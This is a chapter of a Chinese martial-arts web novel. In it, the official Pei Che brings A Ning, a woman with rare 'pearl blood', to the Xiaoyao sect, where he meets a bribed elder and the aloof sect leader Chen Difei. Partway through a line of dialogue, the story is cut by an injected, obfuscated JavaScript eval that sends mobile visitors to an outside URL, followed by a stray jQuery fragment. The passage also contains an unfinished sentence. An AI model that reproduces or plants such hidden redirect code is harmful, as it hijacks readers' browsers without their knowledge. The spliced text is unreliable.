一位四五十岁的老者,身着道袍,手持拂尘,笑意盈盈地从宫门内走了过来,似乎已经等待裴澈一行人多时。
这位道长就是逍遥派四大长老之一的温步青,是裴澈在逍遥派花重金打点的“内线”。
裴澈见到温步青,顿时眉开眼笑,上前热情寒暄道:“温长老!又见到您了!幸会幸会……”
温步青堆着笑容,回应着裴澈的寒暄:“太守大人风采不减,不愧有裴氏风骨。”
阿凝在一旁觑瞧,温步青清癯和善。唯独衣摆上的刺绣脱了线,显得有些老旧。或许人人尊敬温步青,正因为他的风评和善简朴。
只有阿凝觉得,这破旧的道袍与恢弘奢阔的逍遥宫殿宇格格不入,有一种藏愚露拙的滑稽。
两人并肩在前边走边聊,阿凝和家丁安阳在后头跟着,其余太守府的人则于宫门外听候。
寒暄过后,裴澈赶忙致谢:“说起来,上次多亏长老从中引荐,在下才得机会,得见陈门主一面。这份恩情,裴某始终记在心里。”
温步青笑意不改,道:“大人言重!怜贫爱幼是本门至高人道,令嫒病重,名门正派岂有见死不救之理。大人快随贫道往议事堂去吧。门主稍后便到。”
阿凝裹着狐裘,将风帽竖起,半遮玉颜,一直在后面细步轻随。
温步清这时候才注意到裴澈身后的这位佳人,便问裴澈:“这位是?”
“哦,在下差点忘了,这位阿凝姑娘,就是在下寻找到的身负珍珠血的奇人。”
裴澈遂将阿凝身负珍珠血的事,告诉了温步青。至于阿凝的出现,因不甚光彩,裴澈自然不好多言。
温步青慢下了脚步,视线在阿凝身上一停。随后微微蹙眉,有些不祥的预感。
裴澈来前,给温步青送了急信,提到了自己找到了珍珠血,想尽快进献给陈涤非,以再求他一次。
信中,他提及自己找到了珍珠血,却没有交代清楚是哪一种“找到”。
除陈涤非之外,逍遥派没有人继承青丘子道人的精湛医术,对于世界上是否真的有珍珠血,温步青向来是存疑的。
温步青想当然地认为,裴澈所谓的珍珠血找到了,八成是胡乱伪造了一罐子珍珠血糊弄事罢了。当父亲的救女心切,心急如焚,难免出此下策。
可是没有想到,裴澈找到的珍珠血,是一个活生生的大活人。
若珍珠血真的存在于世,这对于温步青来说,可真是一个不妙的消息。
他的眸光几不可查地晦暗了一瞬间。
但仅仅是一瞬,就恢复了和煦模样,笑着祝贺:
“裴大人手眼通天,这般珍稀之物也能寻到。门主醉心岐黄之术,若是得到珍珠血,一定会喜出望外,令嫒必然得救。”
温步青的鼓励给了裴澈希望,他凑近了对温步青低语:
“这次能够再见陈门主,多亏长老斡旋。在下已经命人略备了薄礼,请长老一定笑纳,礼物已经派人送去您在长安崇仁坊的私邸了……”
两人又聊了些其他事,多是长安官场动向与世家门阀间的流言蜚语,桩桩件件都透着朝堂里的弯弯绕绕。
阿凝默默听在耳里,抬起头再看云雾缭绕的逍遥宫,竟也沾染了几分官气和世故。
*
约见陈涤非的地点,与上次一样,定在逍遥派的议事堂。
一行人抵达议事堂时,室内已经挤满了许多的人,看衣着皆是逍遥派中有些头脸的长老与门徒,却并没有陈涤非的身影。
温步青很是意外,因为除了陈涤非,他并没有邀请别人。
打听一下才知道,诸位教众是陈涤非本人召集来的,今日恰有几件教务要宣告。
为了清修深造,陈涤非平素并不住在逍遥宫的主殿,而是在后山一处名为的上池斋的独院隐居。前后两山之间横断着一秋浦河,遥遥相望。
陈涤非来一趟前山不容易,借着见裴澈的机会,把诸位长老召集在一起开个小会,省时省事。
长老大多都道士,出家之前皆是贵胄出身,无人不知长安裴氏,又因裴澈现在是三清郡的地方官,于是免不了一番寒暄。得知他到访逍遥宫的目的,都称赞他拳拳父爱,可昭日月。但是对陈涤非能否出山问诊,又纷纷面面相觑,心中不太乐观。
一位鹤发童颜身着紫色道袍的老道长,
期间,一位年纪略长的道姑,名曰抱素,注意到了裴澈身后的阿凝,问:“这位女眷是?是裴大人的家眷么?”
裴澈忙解释道: “长老不要误会,阿凝姑娘只是……裴某的一个朋友。”
然而抱素道姑是个喜欢戏谑的性子,见裴澈支支吾吾,更添调侃他的乐趣:
“尊夫人去世也一年多了,莫非大人续弦了?”
裴澈红着脸连忙道:“真不是真不是……道长莫要玩笑。阿凝姑娘素纱遮面,还未出阁。”
抱素道姑与青丘道长是同门师兄妹,从小得到师兄很多偏疼,故而说话总是不太注意尊卑与界限,心地倒是不坏。
她看着阿凝婀娜的身形,道:“这位女施主倒生了一副漂亮的架子,不知道谁娶了去,真是好艳福。”
就在众人最后的耐心即将被耗尽的时候,殿外传来一阵不急不缓的脚步声。
殿内众人都是高手,耳力极好,能听出来是陈涤非的脚步,于是纷纷收敛神色,端坐起来。
温步青脸上的笑意加深,对裴澈起身拱手:“裴大人,是门主到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580620|205106||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了。”
陈涤非一身玄衣,穿过风雪,款步踏入议事堂。身后随行的只有一个名为“墨尘”的中年侍从。
众人起身行礼,陈涤非微微颔首。
阿凝是第一次见到陈涤非,躲在众人身后,目光遥遥地看向了这位传说中的门主大人。
令阿凝意外的是,陈涤非比他想象中要清秀得多,身形挺拔,甚至有几分少年气。
他淡然自若地进入中庭,脚下轻盈,步履如烟,足见炉火纯青的轻功。这么远走来,身上只一件单衣,却面色如常,没有受一点寒气侵染,内力亦深不可测。
他走到议事堂上首的交椅坐定,高悬的灯火名如白昼,光晕落在陈涤非的面容上,阿凝才看清了他的模样。
五官俊朗利落,神色雍容不惊,自带一股清冷的疏离感。以至于第一眼看过去,只觉得是一个矜持的贵公子,不能将他与那些不可思议的武林传说联系在一起。
他未戴冠冕,只用一根玉簪束发,周身再无多余装饰。玄色深衣广袖翩然,没有佩刀剑,唯有右手握着一截三尺长的湘妃竹,温润如玉,像是文人随身的雅玩。
但众人皆知,这短短一截挺拔的竹,正是他的兵器。
阿凝是七窍玲珑心,看人不仅仅在表面,她细心观瞧,看到陈涤非简素的衣着上那不得了的细节。
深衣肩头上暗绣的花纹,是三爪的团龙。代表的正是那不可攀及的出身。
一路上,阿凝其实都好奇陈涤非到底武功如何。从前,她见识过的武功最高的人莫过于天残教的掌门吕九珍,她甚至暗忖,不知若吕氏与陈涤非对垒,能有几分胜算。
现在,她有些不好奇这个问题的答案了。
因为,她有了别的答案。
逍遥派高手如云,在座的众人哪个不是武学深不可测,陈涤非或许是最有天份,最得青丘子垂怜的爱徒。
但是武学的修为,未必是他年纪轻轻就地位崇高的真正原因。
比起医术与武学,龙在两肩或许才是他更大的底牌。
地位微末如阿凝,思及此,就忍不住嗤之以鼻。所谓江湖武林第一大门派,说白了不过还是官场的延伸。
她叹一口气,真是个世俗又市侩的世界。
见陈涤非稳坐交椅,众人这才纷纷按照辈分尊卑落座。裴澈一行人被墨尘安排在了侧方的客座上。
陈涤非主动开口,声线清浅平缓:“裴太守远道而来,一路风雪奔波,辛苦了。温长老告诉我,你有急事寻我,不知所为何事?”
阿凝在心里嗤笑一声,慨叹陈涤非的虚伪。真是揣着明白装糊涂,人家的女儿快要病死了,又不是没有求过你。还要问“所为何事”,你说能所为何事?!